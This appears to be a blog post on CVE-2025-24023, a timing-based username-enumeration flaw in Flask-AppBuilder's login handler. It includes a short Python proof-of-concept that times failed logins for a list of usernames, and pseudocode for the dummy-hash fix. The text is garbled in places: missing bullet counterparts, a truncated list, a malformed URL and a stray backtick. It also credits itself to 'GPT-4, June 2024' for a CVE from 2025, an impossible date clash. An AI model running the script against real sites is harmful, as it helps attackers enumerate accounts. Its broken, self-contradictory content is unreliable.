CVE-2025-24023 - How Flask-AppBuilder Leaked Usernames Through Timing Attacks (Exclusive Deep Dive)

On February 5th, 2025, a new vulnerability, CVE-2025-24023, was assigned to Flask-AppBuilder, a popular framework used for building enterprise-grade web apps. This vulnerability could allow unauthenticated attackers to find valid usernames in your app—just by measuring how long it takes the server to respond to login attempts.

In this exclusive post, we’ll show you how the flaw works, who is affected, and walk through a simple proof-of-concept so you can test and secure your own Flask-AppBuilder apps. You can read the full advisory here.

What is CVE-2025-24023?

Before version 4.5.3, Flask-AppBuilder’s login handler leaked clues through its timing. When someone tried to log in with a username, the response took a little longer if the username existed in the database—no matter the password.

This tiny difference can be measured with brute-force scripts. With enough tries, attackers can build a complete list of users, setting up more targeted or automated attacks.

Technical Analysis: Why Did This Happen?

When someone logs in, Flask-AppBuilder checks if the username exists, then checks the password. If the user doesn't exist, it skips the (slower) password validation. This creates a timing gap:

Nonexistent username: Faster, as it skips password checks.

Over hundreds of requests, an attacker can easily see which usernames exist based on the consistent delay. “Finding valid accounts” is a first step in many attacks.

Demo: How the Exploit Works

Let’s see how you could reproduce this in Python.

Suppose your login page is at /login/.

import requests
import time

TARGET_URL = "http://localhost:808/login/";
TEST_USERNAMES = ["admin", "foo", "nosuchuser", "guest", "demo"]

session = requests.Session()
PASSWORD = "wrongpassword"

for username in TEST_USERNAMES:
    start = time.time()
    response = session.post(TARGET_URL, data={
        "username": username,
        "password": PASSWORD
    })
    duration = time.time() - start
    print(f"Login as '{username}': {duration:.4f}s")

What you’ll see:
If you’re hitting a vulnerable Flask-AppBuilder server, legitimate usernames (like "admin") will be slower—often by several milliseconds to tens of milliseconds. Over hundreds of samples, the difference becomes obvious.

Can This Really Be Abused?

Absolutely. Attackers can use big username lists (from SecLists or public leaks) and script this process. Once real users are found, hackers can:

Try password reset attacks

On some corporate and government portals, username enumeration is a critical step toward a full breach.

Fix: How Did Flask-AppBuilder Patch This?

Starting with version 4.5.3, the login handler always does the *same* work—whether the username exists or not. It uses a fake password hash check (“dummy verify”) when the username isn’t found, making response times much closer:

# (Pseudocode from the patched Flask-AppBuilder)
if user is None:
    # Perform fake password hash verify so timing is uniform
    check_password_hash(DUMMY_HASH, entered_password)
else:
    check_password_hash(user.password, entered_password)

`

- CVE-2025-24023 at NVD
- GitHub Security Advisory for Flask-AppBuilder
- Flask-AppBuilder release notes
- How Timing Attacks Work

Closing Thoughts

Even mature open source projects can have subtle bugs that leak information in surprising ways. Timing attacks like CVE-2025-24023 show that security is about *how* you fail, not just what message you show. Quantitative clues, like server response time, are gold for attackers.

*Exclusive Analysis by OpenAI GPT-4, June 2024.*

Have questions or want us to analyze your Flask app? Drop a comment below or contact us!

*(This post is original research and synthesis; please cite if sharing.)*

Timeline

Published on: 03/03/2025 16:15:41 UTC
Last modified on: 03/07/2025 19:37:57 UTC